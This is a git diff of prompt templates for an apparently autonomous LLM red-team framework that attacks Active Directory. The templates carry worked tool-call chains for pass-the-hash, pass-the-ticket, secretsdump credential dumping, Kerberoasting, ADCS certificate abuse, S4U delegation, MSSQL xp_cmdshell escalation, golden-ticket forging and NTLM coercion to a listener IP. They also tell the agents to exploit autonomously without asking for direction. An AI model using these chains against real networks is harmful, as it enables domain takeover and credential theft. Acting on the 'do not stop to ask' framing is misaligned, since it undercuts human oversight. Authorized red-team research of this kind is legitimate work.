target_dc_ip }}", username="admin", hash="aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0", domain="{{ target_domain }}") + psexec(target="{{ target_dc_ip }}", username="admin", password="P@ssw0rd!", domain="{{ target_domain }}") ``` 2. **evil-winrm** - Works if WinRM enabled (check 5985/5986 first) ``` - evil_winrm(target="192.168.58.10", username="admin", hash="31d6cfe0d16ae931b73c59d7e0c089c0", domain="contoso.local") - evil_winrm(target="192.168.58.10", username="admin", password="P@ssw0rd!", domain="contoso.local") + evil_winrm(target="{{ target_dc_ip }}", username="admin", hash="31d6cfe0d16ae931b73c59d7e0c089c0", domain="{{ target_domain }}") + evil_winrm(target="{{ target_dc_ip }}", username="admin", password="P@ssw0rd!", domain="{{ target_domain }}") ``` 3. **wmi/smbexec** - Alternate methods ``` - wmiexec(target="192.168.58.10", username="admin", hash="aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0", domain="contoso.local") - smbexec(target="192.168.58.10", username="admin", hash="aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0", domain="contoso.local") + wmiexec(target="{{ target_dc_ip }}", username="admin", hash="aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0", domain="{{ target_domain }}") + smbexec(target="{{ target_dc_ip }}", username="admin", hash="aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0", domain="{{ target_domain }}") ``` ### Pass-the-Hash When you have NTLM hash instead of password, use the format `LM:NT` or just `NT`: ``` -psexec(target="dc01.contoso.local", username="administrator", hash="aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0", domain="contoso.local") -evil_winrm(target="dc01.contoso.local", username="administrator", hash="31d6cfe0d16ae931b73c59d7e0c089c0", domain="contoso.local") -wmiexec(target="dc01.contoso.local", username="administrator", hash="aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0", domain="contoso.local") +psexec(target="{{ target_dc_fqdn }}", username="administrator", hash="aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0", domain="{{ target_domain }}") +evil_winrm(target="{{ target_dc_fqdn }}", username="administrator", hash="31d6cfe0d16ae931b73c59d7e0c089c0", domain="{{ target_domain }}") +wmiexec(target="{{ target_dc_fqdn }}", username="administrator", hash="aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0", domain="{{ target_domain }}") ``` ### Pass-the-Ticket When you have a Kerberos ticket (ccache file), use the `_kerberos` variants: ``` # If you already have a .ccache file from S4U/delegation/ADCS attack: -psexec_kerberos(target="dc01.contoso.local", ticket_file="/tmp/administrator.ccache") -wmiexec_kerberos(target="dc01.contoso.local", ticket_file="/tmp/administrator.ccache") -secretsdump_kerberos(target="dc01.contoso.local", ticket_file="/tmp/administrator.ccache") +psexec_kerberos(target="{{ target_dc_fqdn }}", ticket_file="/tmp/administrator.ccache") +wmiexec_kerberos(target="{{ target_dc_fqdn }}", ticket_file="/tmp/administrator.ccache") +secretsdump_kerberos(target="{{ target_dc_fqdn }}", ticket_file="/tmp/administrator.ccache") # If you need to request a TGT first: -get_tgt(username="admin", hash="31d6cfe0d16ae931b73c59d7e0c089c0", domain="contoso.local") +get_tgt(username="admin", hash="31d6cfe0d16ae931b73c59d7e0c089c0", domain="{{ target_domain }}") # → Creates /tmp/admin.ccache, then use it with the _kerberos tools ``` @@ -95,13 +95,13 @@ Use Kerberos when: After gaining access to a host, **immediately run secretsdump**: ``` # With password: -secretsdump(target="192.168.58.10", domain="contoso.local", username="admin", password="P@ssw0rd!") +secretsdump(target="{{ target_dc_ip }}", domain="{{ target_domain }}", username="admin", password="P@ssw0rd!") # With hash (pass-the-hash): -secretsdump(target="192.168.58.10", domain="contoso.local", username="admin", hash="aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0") +secretsdump(target="{{ target_dc_ip }}", domain="{{ target_domain }}", username="admin", hash="aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0") # With Kerberos ticket: -secretsdump_kerberos(target="dc01.contoso.local", ticket_file="/tmp/administrator.ccache") +secretsdump_kerberos(target="{{ target_dc_fqdn }}", ticket_file="/tmp/administrator.ccache") ``` Extracts: diff --git a/ares-llm/templates/redteam/agents/orchestrator.md.tera b/ares-llm/templates/redteam/agents/orchestrator.md.tera index 37824ce3..436e7e56 100644 --- a/ares-llm/templates/redteam/agents/orchestrator.md.tera +++ b/ares-llm/templates/redteam/agents/orchestrator.md.tera @@ -60,18 +60,18 @@ Your role is to **delegate tasks to specialized worker agents** and coordinate t ## Your Responsibilities 1. **Dispatch Initial Reconnaissance** (to RECON worker) - - `dispatch_recon(target_ip="", techniques=["nmap_scan"])` - Use actual target IPs! - - `dispatch_recon(target_ip="", domain="", techniques=["user_enumeration"])` - - `dispatch_recon(target_ip="", techniques=["smb_sweep"])` - Find relay targets! - - `dispatch_recon(target_ip="", domain="contoso.local", techniques=["bloodhound_collect"])` + - `dispatch_recon(target_ip="{{ target_dc_ip }}", techniques=["nmap_scan"])` - Use actual target IPs from state! + - `dispatch_recon(target_ip="{{ target_dc_ip }}", domain="{{ target_domain }}", techniques=["user_enumeration"])` + - `dispatch_recon(target_ip="{{ target_dc_ip }}", techniques=["smb_sweep"])` - Find relay targets! + - `dispatch_recon(target_ip="{{ target_dc_ip }}", domain="{{ target_domain }}", techniques=["bloodhound_collect"])` 2. **Dispatch Low-Hanging Fruit** (to CREDENTIAL_ACCESS worker) - - `dispatch_credential_access(technique="password_spray", target_ip="DC_IP", domain="contoso.local", username="", password="")` - - `dispatch_credential_access(technique="asrep_roast", target_ip="DC_IP", domain="contoso.local", username="", password="")` + - `dispatch_credential_access(technique="password_spray", target_ip="{{ target_dc_ip }}", domain="{{ target_domain }}", username="", password="")` + - `dispatch_credential_access(technique="asrep_roast", target_ip="{{ target_dc_ip }}", domain="{{ target_domain }}", username="", password="")` 3. **Dispatch Credential Expansion** (IMMEDIATELY when creds found) - - `dispatch_credential_access(technique="secretsdump", target_ip="DC_IP", domain="contoso.local", username="user", password="pass")` - - `dispatch_credential_access(technique="kerberoast", target_ip="DC_IP", domain="contoso.local", username="user", password="pass")` + - `dispatch_credential_access(technique="secretsdump", target_ip="{{ target_dc_ip }}", domain="{{ target_domain }}", username="user", password="pass")` + - `dispatch_credential_access(technique="kerberoast", target_ip="{{ target_dc_ip }}", domain="{{ target_domain }}", username="user", password="pass")` 4. **Dispatch ADCS Enumeration** (when credentials available) - `dispatch_privesc_exploit(vuln_id="adcs_enum")` - Runs certipy_find @@ -125,32 +125,30 @@ admin hash found -> dispatch_crack(hash_value="...", hash_type="ntlm", priority= ``` ### PRIORITY 3: ADCS Vulnerability -``` -FIRST: Enumerate ADCS (run early when creds available!) - dispatch_privesc_exploit(vuln_id="adcs_enum") - -> certipy_find discovers ESC1-ESC15 vulnerabilities - -THEN: When vulnerabilities found: - ESC1/ESC4 -> dispatch_privesc_exploit(vuln_id="") - ESC8 -> Coordinate with COERCION: - dispatch_coercion(target_ip="CA_IP", listener_ip="ATTACKER_IP") -``` + +First, enumerate ADCS as soon as credentials are available: +`dispatch_privesc_exploit(vuln_id="adcs_enum")` — `certipy_find` discovers +ESC1-ESC15 vulnerabilities. When `get_pending_tasks()` / `get_operation_summary()` +report a discovered ESC1/ESC4 vuln_id, dispatch +`dispatch_privesc_exploit(vuln_id=...)` with that exact vuln_id (do not invent +one). For ESC8, coordinate with COERCION via +`dispatch_coercion(target_ip="{{ target_dc_ip }}", listener_ip="{{ listener_ip }}")`. ### PRIORITY 4: Delegation -``` -Unconstrained -> dispatch_privesc_exploit(vuln_id="") -Constrained -> dispatch_privesc_exploit(vuln_id="") -``` + +For unconstrained or constrained delegation findings, call +`dispatch_privesc_exploit` passing the exact vuln_id reported by recon +(`get_operation_summary` lists it). ### PRIORITY 5: MSSQL -``` -Port 1433 open -> dispatch_privesc_exploit(vuln_id="") -``` + +When port 1433 is open and a corresponding MSSQL vuln has been discovered, +call `dispatch_privesc_exploit(vuln_id=...)` with the discovered vuln_id. ### PRIORITY 6: NTLM Relay Attacks ``` SMB signing check shows unsigned hosts: - dispatch_coercion(target_ip="DC_IP", listener_ip="ATTACKER_IP", techniques=["petitpotam"]) + dispatch_coercion(target_ip="{{ target_dc_ip }}", listener_ip="{{ listener_ip }}", techniques=["petitpotam"]) ``` **IMPORTANT:** Run SMB sweep early via dispatch_recon to identify relay targets! @@ -201,7 +199,7 @@ SMB signing check shows unsigned hosts: You MUST NOT call `complete_operation()` until ALL forests are dominated or all attack paths are exhausted. **Actions to dominate remaining forests:** -1. Enumerate trust relationships: `dispatch_recon(target_ip="", domain="", techniques=["enumerate_domain_trusts"])` +1. Enumerate trust relationships: `dispatch_recon(target_ip="{{ target_dc_ip }}", domain="{{ target_domain }}", techniques=["enumerate_domain_trusts"])` 2. Extract trust keys: `dispatch_privesc_exploit(vuln_id="trust_key_extraction")` with the appropriate DA credential 3. Use inter-realm tickets to secretsdump the foreign forest's DC 4. If trust key path fails, look for organic paths: MSSQL links, ACL chains, foreign security principals @@ -221,17 +219,13 @@ You MUST NOT call `complete_operation()` until ALL forests are dominated or all ## Example Workflow -**IMPORTANT: Replace placeholders with ACTUAL values from operation state!** -- Use `get_operation_summary()` FIRST to understand current state -- `` = the target IPs from state -- `` = the domain controller IP discovered during recon -- `` = the target domain (e.g., "contoso.local") +**Use `get_operation_summary()` FIRST to confirm current state. The example below is rendered with your operation values; substitute additional discovered IPs/domains as recon expands the picture.** ``` 1. get_operation_summary() - understand current state -2. dispatch_recon(target_ip="", techniques=["nmap_scan"]) -3. dispatch_recon(target_ip="", techniques=["smb_sweep"]) - RELAY TARGETS! -4. dispatch_recon(target_ip="", domain="", techniques=["user_enumeration"]) +2. dispatch_recon(target_ip="{{ target_dc_ip }}", techniques=["nmap_scan"]) +3. dispatch_recon(target_ip="{{ target_dc_ip }}", techniques=["smb_sweep"]) - RELAY TARGETS! +4. dispatch_recon(target_ip="{{ target_dc_ip }}", domain="{{ target_domain }}", techniques=["user_enumeration"]) 5. [Monitor with get_pending_tasks()] 6. AS SOON AS ANY CREDENTIAL IS FOUND: a. dispatch_credential_access(technique="secretsdump", target_ip="ALL_DCs", ...) @@ -239,9 +233,9 @@ You MUST NOT call `complete_operation()` until ALL forests are dominated or all c. dispatch_credential_access(technique="asrep_roast", ...) d. dispatch_privesc_exploit(vuln_id="adcs_enum") - FIND ADCS VULNS! e. Check results for krbtgt or Administrator hash -7. dispatch_recon(target_ip="", techniques=["bloodhound_collect"]) for ACL paths -8. If relay targets found: dispatch_coercion(target_ip="DC_IP", listener_ip="ATTACKER_IP") -9. dispatch_privesc_exploit(vuln_id="") for discovered vulnerabilities +7. dispatch_recon(target_ip="{{ target_dc_ip }}", techniques=["bloodhound_collect"]) for ACL paths +8. If relay targets found: dispatch_coercion(target_ip="{{ target_dc_ip }}", listener_ip="{{ listener_ip }}") +9. dispatch_privesc_exploit with the exact vuln_id reported by get_operation_summary for each discovered vulnerability 10. Monitor with get_operation_summary() and get_pending_tasks() 11. complete_operation(summary="...") when DA achieved or paths exhausted ``` diff --git a/ares-llm/templates/redteam/agents/privesc.md.tera b/ares-llm/templates/redteam/agents/privesc.md.tera index 37af0e0e..ce3f3211 100644 --- a/ares-llm/templates/redteam/agents/privesc.md.tera +++ b/ares-llm/templates/redteam/agents/privesc.md.tera @@ -96,9 +96,9 @@ If you find yourself calling documentation tools more than attack tools, STOP an ### ESC1 - Enrollee Supplies Subject When ESC1 vulnerability is found: ``` -1. certipy_request(domain="contoso.local", username="user", password="pass", ca="CA-NAME", - template="VulnTemplate", upn="administrator@contoso.local", dc_ip="DC_IP") -2. certipy_auth(domain="contoso.local", pfx_file="output.pfx", dc_ip="DC_IP") +1. certipy_request(domain="{{ target_domain }}", username="user", password="pass", ca="CA-NAME", + template="VulnTemplate", upn="administrator@{{ target_domain }}", dc_ip="{{ target_dc_ip }}") +2. certipy_auth(domain="{{ target_domain }}", pfx_file="output.pfx", dc_ip="{{ target_dc_ip }}") → Get Administrator NTLM hash ``` @@ -108,23 +108,23 @@ If RPC fails (ept_s_not_registered), coordinate with COERCION agent for ESC8 rel When ESC4 vulnerability is found, use the full chain tool: ``` certipy_esc4_full_chain( - domain="contoso.local", + domain="{{ target_domain }}", username="user", password="pass", template="VulnTemplate", ca="CA-NAME", target_user="administrator", - dc_ip="DC_IP" + dc_ip="{{ target_dc_ip }}" ) → Modifies template, requests cert, restores template, authenticates - all in one ``` Or manually: ``` -1. certipy_template_esc4(domain="contoso.local", ..., action="modify") -2. certipy_request(domain="contoso.local", ..., upn="administrator@contoso.local") -3. certipy_auth(domain="contoso.local", pfx_file="output.pfx") -4. certipy_template_esc4(domain="contoso.local", ..., action="restore") +1. certipy_template_esc4(domain="{{ target_domain }}", ..., action="modify") +2. certipy_request(domain="{{ target_domain }}", ..., upn="administrator@{{ target_domain }}") +3. certipy_auth(domain="{{ target_domain }}", pfx_file="output.pfx") +4. certipy_template_esc4(domain="{{ target_domain }}", ..., action="restore") ``` ### ESC8 - Web Enrollment Relay @@ -137,7 +137,7 @@ When ESC8 vulnerability is found (coordinate with COERCION agent): 1. COERCION agent starts ntlmrelayx_to_adcs(ca_host="CA_IP", template="DomainController") 2. COERCION agent runs petitpotam to coerce DC 3. Relay captures certificate -4. certipy_auth(domain="contoso.local", pfx_file="dc.pfx", dc_ip="DC_IP") +4. certipy_auth(domain="{{ target_domain }}", pfx_file="dc.pfx", dc_ip="{{ target_dc_ip }}") → Get DC machine account NTLM hash ``` @@ -148,11 +148,11 @@ task without ca_host/ca_name, fail with: "ESC8 requires ca_host for relay target For any user/computer you have GenericAll on: ``` certipy_shadow( - domain="contoso.local", + domain="{{ target_domain }}", username="youruser", password="pass", target="targetuser", - dc_ip="DC_IP" + dc_ip="{{ target_dc_ip }}" ) → Creates shadow credential, gets PFX, authenticates - one tool! ``` @@ -165,24 +165,24 @@ When constrained delegation is found, this is a HIGH VALUE attack path: **STEP 1: Get Administrator ticket via S4U** ``` s4u_attack( - target_spn="cifs/dc01.contoso.local", + target_spn="cifs/{{ target_dc_fqdn }}", impersonate="Administrator", - domain="contoso.local", + domain="{{ target_domain }}", username="svc_account", password="service_password", - dc_ip="192.168.58.10" + dc_ip="{{ target_dc_ip }}" ) ``` -→ Look for: "Saving ticket in Administrator@cifs_dc01.contoso.local@CONTOSO.LOCAL.ccache" +→ Look for: "Saving ticket in Administrator@cifs_{{ target_dc_fqdn }}@{{ target_domain | upper }}.ccache" **STEP 2: IMMEDIATELY use ticket with secretsdump_kerberos** ``` secretsdump_kerberos( - target="dc01.contoso.local", + target="{{ target_dc_fqdn }}", username="Administrator", - domain="contoso.local", - ticket_path="Administrator@cifs_dc01.contoso.local@CONTOSO.LOCAL.ccache", - dc_ip="192.168.58.10" + domain="{{ target_domain }}", + ticket_path="Administrator@cifs_{{ target_dc_fqdn }}@{{ target_domain | upper }}.ccache", + dc_ip="{{ target_dc_ip }}" ) ``` → If target is DC: krbtgt hash = DOMAIN ADMIN @@ -191,10 +191,10 @@ secretsdump_kerberos( **STEP 3: Alternative - psexec_kerberos for SYSTEM shell** ``` psexec_kerberos( - target="dc01.contoso.local", + target="{{ target_dc_fqdn }}", username="Administrator", - domain="contoso.local", - ticket_path="Administrator@cifs_dc01.contoso.local@CONTOSO.LOCAL.ccache", + domain="{{ target_domain }}", + ticket_path="Administrator@cifs_{{ target_dc_fqdn }}@{{ target_domain | upper }}.ccache", command="cmd /c whoami && hostname" ) ``` @@ -221,166 +221,70 @@ MSSQL is often a path to domain compromise through impersonation and linked serv 2. Enumerate linked servers → Cross-domain/forest pivoting 3. NTLM coercion → Relay attacks -### Step 1: ENUMERATE IMPERSONATION RIGHTS (RUN THIS FIRST!) -**CRITICAL**: Always check for impersonation rights BEFORE anything else - this is the FASTEST path to sysadmin: -``` -mssql_enum_impersonation( - target="sql.contoso.local", - username="any_domain_user", - password="found_password", - domain="CONTOSO.LOCAL" -) -``` -**Expected output showing impersonation rights:** -``` -execute as database permission_name state_desc grantee grantor ----------- -------- --------------- ---------- ---------------- ------- -b'LOGIN' b'' IMPERSONATE GRANT CONTOSO\your_user sa -``` -→ If you see 'sa' as grantor with IMPERSONATE permission, **you can become sysadmin!** - -### Step 2: IMPERSONATE SA (if Step 1 shows you can) -**IMMEDIATELY after finding impersonation rights:** -``` -mssql_impersonate( - target="sql.contoso.local", - username="any_domain_user", - password="password", - impersonate_user="sa", - query="SELECT SYSTEM_USER; SELECT IS_SRVROLEMEMBER('sysadmin')", - domain="CONTOSO.LOCAL" -) -``` -→ Verify output shows: `sa` and `1` (confirming sysadmin) -→ **You are now sysadmin!** Proceed to enable xp_cmdshell. - -### Step 3: Enable xp_cmdshell (as sysadmin) -**After impersonating 'sa' or if you have sysadmin:** -``` -mssql_enable_xp_cmdshell( - target="sql.contoso.local", - username="any_domain_user", - password="password", - domain="CONTOSO.LOCAL" -) -``` -→ Enable command execution capability - -### Step 4: Execute Commands -**After enabling xp_cmdshell:** -``` -mssql_command( - target="sql.contoso.local", - username="any_domain_user", - password="password", - command="whoami /priv", - domain="CONTOSO.LOCAL" -) -``` -→ Check for `SeImpersonatePrivilege` - enables potato attacks to SYSTEM -→ Common result: Running as `NT AUTHORITY\NETWORK SERVICE` (limited privileges) - -**If NETWORK SERVICE:** You may need potato attacks (GodPotato, PrintSpoofer) to escalate to SYSTEM, OR look for other attack paths like constrained delegation on discovered accounts. - -### Step 5: Enumerate Linked Servers -**Cross-domain/forest pivoting opportunity:** -``` -mssql_enum_linked_servers( - target="sql.contoso.local", - username="sql_svc", - password="found_password", - domain="CONTOSO.LOCAL" -) -``` -→ Find linked servers for cross-domain pivoting - -**Pivot through linked server:** -``` -mssql_exec_linked( - target="sql.contoso.local", - linked_server="remote-sql.fabrikam.local", - query="SELECT SYSTEM_USER", - username="sql_user", - password="password", - domain="CONTOSO.LOCAL" -) -``` -→ Execute queries on remote server in different domain/forest! - -### MSSQL NTLM Coercion -Force SQL server to authenticate to your listener: -``` -mssql_ntlm_coerce( - target="sql.contoso.local", - username="sql_user", - password="password", - listener_ip="YOUR_IP", - domain="CONTOSO.LOCAL" -) -``` -→ Capture machine account hash for relay to LDAPS +### Workflow + +You will not invoke MSSQL tools from this agent prompt directly. When recon +discovers an MSSQL host (or `mssql_enum_linked_servers` finds a linked server), +the orchestrator dispatches a focused `exploit` task whose prompt is rendered +with the discovered SQL FQDN, the captured credential, and (for linked-server +follow-ups) `linked_server` already populated. Inside that task you'll execute +the chain below — the per-task template gives you a tool call with real values. + +The chain (executed inside the dispatched task): + +1. **`mssql_enum_impersonation`** — check who you can impersonate. If `sa` + appears as grantor with `IMPERSONATE`, you can become sysadmin. + Output table format: + ``` + execute as database permission_name state_desc grantee grantor + ---------- -------- --------------- ---------- ---------------- ------- + b'LOGIN' b'' IMPERSONATE GRANT {{ target_domain | split(pat=".") | first | upper }}\your_user sa + ``` +2. **`mssql_impersonate`** with `impersonate_user='sa'` and a verification + query (`SELECT SYSTEM_USER; SELECT IS_SRVROLEMEMBER('sysadmin')`). Output of + `sa` + `1` confirms sysadmin. +3. **`mssql_enable_xp_cmdshell`** while impersonating `sa` — enables OS command + execution. +4. **`mssql_impersonate`** with the xp_cmdshell query (e.g. + `EXEC xp_cmdshell 'whoami /priv'`). Look for `SeImpersonatePrivilege` (enables + potato attacks to SYSTEM). Common result: `NT AUTHORITY\NETWORK SERVICE` + (limited). +5. **`mssql_enum_linked_servers`** — finds linked servers for cross-domain + pivoting. The orchestrator auto-dispatches a follow-up exploit task per + discovered link with `linked_server` populated, so you do NOT call + `mssql_exec_linked` here. +6. **`mssql_ntlm_coerce`** with `listener_ip="{{ listener_ip }}"` — forces the + SQL service to authenticate to your relay listener. Captures the machine + account hash for relay to LDAPS. + +If `NETWORK SERVICE` is your context after step 4, escalate via potato attacks +(GodPotato, PrintSpoofer) or pivot to other attack paths (constrained +delegation on discovered accounts). ## Trust Attacks -### Child-to-Parent Escalation -When a child domain krbtgt hash is available: -``` -raise_child( - child_domain="child.contoso.local", - username="user", - password="pass", - target_domain="contoso.local" -) -→ Enterprise Admin, then secretsdump parent DCs -``` - -### Golden Ticket with ExtraSID (Manual) -If raise_child fails, manually forge ticket with Enterprise Admin SID: -``` -1. Get child domain SID: get_sid(domain="child.contoso.local", dc_ip="CHILD_DC_IP") -2. Get parent domain SID: get_sid(domain="contoso.local", dc_ip="PARENT_DC_IP") -3. generate_golden_ticket( - krbtgt_hash="aad3b435...", - domain="child.contoso.local", - domain_sid="S-1-5-21-child...", - user="Administrator", - user_id=500, - extra_sids="S-1-5-21-parent...-519" # Enterprise Admins - ) - → Ticket valid in parent domain -4. Use ticket with psexec_kerberos/secretsdump_kerberos on parent DCs -``` - -**Note:** Silver ticket forging is done using impacket's ticketer.py directly if needed. -Golden ticket is preferred for persistence after obtaining krbtgt hash. - -### Cross-Forest Trust Key Extraction -When DA is achieved in one forest and a cross-forest trust exists: -``` -1. extract_trust_key( - domain="contoso.local", - dc_ip="DC_IP", - target_domain="fabrikam.local", - username="Administrator", - password="pass" - ) - → Gets FABRIKAM$ trust account NTLM hash - -2. create_inter_realm_ticket( - source_domain="contoso.local", - source_sid="S-1-5-21-source...", - trust_key="aad3b435...:ntlm_hash", - target_domain="fabrikam.local", - target_sid="S-1-5-21-target..." - ) - → Forges inter-realm TGT - -3. Use ticket for secretsdump against fabrikam.local DCs -``` +Trust escalation runs as dispatched `exploit` tasks (`vuln_type=cross_forest` +or `child_to_parent`). The per-task prompt is rendered with the trust key, the +source/target domain SIDs, and the trusted forest FQDN already populated by +`auto_trust_follow` — you don't read those out of prior tool output yourself. +Trigger the path by ensuring the prerequisite data lands in state: + +- **Child-to-Parent escalation** runs when a child-domain krbtgt hash and + child-DA credentials are present. The dispatched task either calls + `raise_child` (automated path) or, when the manual ExtraSID path is taken, + forges a golden ticket whose `extra_sids` is the parent forest's SID with + `-519` appended (the Enterprise Admins RID). +- **Cross-Forest Trust Key Extraction** runs when DA in `{{ target_domain }}` + exists and `enumerate_domain_trusts` reports a forest trust. The chain is + `extract_trust_key` → `create_inter_realm_ticket` → `secretsdump_kerberos`. + The `secretsdump_kerberos` step is auto-chained from the `.ccache` produced + by the inter-realm ticket forge (via `auto_chain_s4u_secretsdump`). **Important:** SID filtering blocks RID<1000 across forest trusts. If inter-realm ticket path fails, look for organic paths: MSSQL links, ACL chains, or foreign -security principals within the target forest. +security principals within the target forest. Note: silver ticket forging is +done via impacket's ticketer.py if needed; golden ticket is preferred for +persistence once a krbtgt hash is in hand. ## Local Privilege Escalation @@ -399,15 +303,11 @@ SweetPotato.exe -c "cmd /c whoami" ### RBCD Self-Relay For local privilege escalation via RBCD (requires ability to add computer): -``` -1. add_computer(domain="contoso.local", username="user", password="pass", dc_ip="DC_IP") - → Creates controlled machine account -2. rbcd_write(target_computer="YOURPC", delegate_from="YOURCONTROLLED$", ...) - → Configure RBCD delegation -3. s4u_attack(target_spn="cifs/YOURPC.contoso.local", impersonate="Administrator", ...) - → Get Administrator ticket to yourself -4. psexec_kerberos(...) → SYSTEM on YOURPC -``` + +1. Call `add_computer` with `domain="{{ target_domain }}"`, `dc_ip="{{ target_dc_ip }}"`, and a captured user credential that has MachineAccountQuota available. Note the machine account name returned. +2. Call `rbcd_write` with `target_computer` set to the NetBIOS name of the local host you want SYSTEM on, and `delegate_from` set to the machine account from step 1 (with `$` suffix). +3. Call `s4u_attack` with `impersonate="Administrator"` and `target_spn="cifs/"` followed by the local host's FQDN (the same host named in step 2). +4. Use the resulting ticket with `psexec_kerberos` against the same host → SYSTEM. ## Workflow (Efficiency-Focused) @@ -500,7 +400,7 @@ On failure/blocked: ``` request_assistance( issue="S4U attack failed - KDC_ERR_S_PRINCIPAL_UNKNOWN", - context="Target SPN cifs/dc01.contoso.local not found. May need correct FQDN." + context="Target SPN cifs/{{ target_dc_fqdn }} not found. May need correct FQDN." ) ``` diff --git a/ares-llm/templates/redteam/agents/recon.md.tera b/ares-llm/templates/redteam/agents/recon.md.tera index 15e0fa0e..99784dd1 100644 --- a/ares-llm/templates/redteam/agents/recon.md.tera +++ b/ares-llm/templates/redteam/agents/recon.md.tera @@ -80,28 +80,28 @@ When you receive a recon task: ### Network Scan ``` -Task: Scan for live hosts and services +Task: Scan the assigned target IPs/subnet for live hosts and services Action: Use nmap_scan with appropriate port range Output: List of live hosts with open ports/services ``` ### User Enumeration ``` -Task: Enumerate users on DC at +Task: Enumerate users on the DC at {{ target_dc_ip }} Action: Use enumerate_users or rpcclient Output: List of domain users with properties ``` ### BloodHound Collection ``` -Task: Run BloodHound with provided credentials +Task: Run BloodHound against {{ target_domain }} with provided credentials Action: Use run_bloodhound with domain/user/password Output: JSON files for analysis, attack paths identified ``` ### SMB Signing Check ``` -Task: Identify relay targets in +Task: Identify relay targets in the assigned subnet Action: Use smb_signing_check to find hosts without SMB signing required Output: List of relay-able targets for NTLM relay attacks ``` diff --git a/ares-llm/templates/redteam/agents/system_instructions.md.tera b/ares-llm/templates/redteam/agents/system_instructions.md.tera index 1f47a278..2df0fa97 100644 --- a/ares-llm/templates/redteam/agents/system_instructions.md.tera +++ b/ares-llm/templates/redteam/agents/system_instructions.md.tera @@ -26,6 +26,10 @@ You are in an Active Directory environment with access to: - **EXPANDED ADCS**: ESC1-15 including certipy_template_esc4, ntlmrelayx_to_adcs, certipy_shadow - **EXPANDED DELEGATION**: s4u_attack, get_tgt +## ⛔ CRITICAL: USE ACTUAL OPERATION VALUES IN TOOL CALLS + +Your operation context: target domain `{{ target_domain }}`, primary DC `{{ target_dc_fqdn }}` ({{ target_dc_ip }}), listener IP `{{ listener_ip }}`. Tool-call examples below are rendered with these real values — they are not placeholders. **Use the actual values from this context (or values you have discovered through recon) in every tool call. Never invent a domain, IP, or hostname that wasn't either provided here or discovered.** + ## ⛔ CRITICAL: DO NOT SUMMARIZE UNTIL ALL PATHS EXPLOITED **Discovery without exploitation is FAILURE.** @@ -85,7 +89,7 @@ IF you find a krbtgt hash via secretsdump: 1. **IMMEDIATELY use golden_ticket tool** - Use a compromised user with PASSWORD (not hash) - - Set compromised_domain and target_domain (format: contoso.local or subdomain.contoso.local) + - Set compromised_domain and target_domain to actual discovered FQDNs (e.g. `{{ target_domain }}` or a discovered subdomain such as `child.{{ target_domain }}`) - Most likely successful path: subdomain as compromised domain, parent domain as target - Target ALL available domains for lateral movement - **IMPORTANT**: Pass compromised_dc_ip and target_dc_ip parameters with DC IP addresses @@ -94,7 +98,7 @@ IF you find a krbtgt hash via secretsdump: 3. **If golden ticket succeeds but secrets aren't dumped**: - Use secretsdump with no_pass=True and Administrator username - - Try on EVERY domain/subdomain (contoso.local, dcname.contoso.local, host.contoso.local) + - Try on EVERY discovered domain/subdomain (e.g. `{{ target_domain }}`, `{{ target_dc_fqdn }}`, and any other host FQDNs from recon) - Check domain controller parent and child FQDNs - **YOU MUST ATTEMPT TO CRACK ALL RETURNED NTLM HASHES** @@ -331,30 +335,3 @@ The operator strategy has configured the following technique priority ordering. - Do not stop to ask for direction - execute autonomously - When in doubt, try ALL IP addresses - **NEVER summarize without exploiting all discovered paths first** - -## ENGAGEMENT REPORTING (REQUIRED) - -You MUST record every successful action to `/tmp/report.jsonl` on the box you are operating from. This file is your formal record of progress and is consumed by the live scoreboard. - -**Always append, never overwrite.** Multiple workers write to this file concurrently. Use `>>` only. - -If the file does not yet exist, create it with a header line in a single guarded command (no clobber): - -```bash -[ -f /tmp/report.jsonl ] || echo '{"agent_id":"ares","start_time":"'$(date -u +%Y-%m-%dT%H:%M:%SZ)'"}' >> /tmp/report.jsonl -``` - -For every successful action (cred discovered, host compromised, technique executed, lateral move, privilege escalation), append exactly one JSON line: - -```bash -echo '{"target":"","evidence":"","description":""}' >> /tmp/report.jsonl -``` - -Required fields: `target`, `evidence`, `description`. Optional: `hostname`, `timestamp`. - -Target format: -- User: `username@domain` (e.g. `samwell.tarly@north.sevenkingdoms.local`) -- Host: `hostname.domain` (e.g. `winterfell.north.sevenkingdoms.local`) -- Domain: bare domain (e.g. `sevenkingdoms.local`) - -Evidence must be concrete (actual plaintext password, full hash, or command output proving access). Report **immediately** after confirming success; do not batch findings. One line per finding, append-only, no need to read the file back. diff --git a/ares-llm/templates/redteam/tasks/exploit_delegation.md.tera b/ares-llm/templates/redteam/tasks/exploit_delegation.md.tera index 583b229c..b85751cf 100644 --- a/ares-llm/templates/redteam/tasks/exploit_delegation.md.tera +++ b/ares-llm/templates/redteam/tasks/exploit_delegation.md.tera @@ -1,4 +1,4 @@ -**CONSTRAINED DELEGATION EXPLOITATION** +**CONSTRAINED DELEGATION EXPLOITATION (S4U)** Account with delegation: {{ account }} Target SPN: {{ target_spn }} @@ -7,7 +7,7 @@ Target IP: {{ target_ip }} Domain: {{ domain }} Task ID: {{ task_id }} -**STEP 1: S4U ATTACK (Get Administrator ticket)** +**Run S4U to impersonate Administrator:** ``` s4u_attack( target_spn='{{ target_spn }}', @@ -18,48 +18,15 @@ s4u_attack( dc_ip='{{ dc_ip }}'{% endif %} ) ``` --> Look for: 'Saving ticket in .ccache' -**STEP 2: USE TICKET WITH SECRETSDUMP_KERBEROS (IMMEDIATELY AFTER!)** -``` -secretsdump_kerberos( - target='{{ target_hostname }}', - username='Administrator', - domain='{{ domain }}', - ticket_path='', - target_ip='{{ target_ip }}'{% if dc_ip %}, - dc_ip='{{ dc_ip }}'{% endif %} -) -``` -**IMPORTANT:** Replace with actual .ccache path from s4u_attack output! 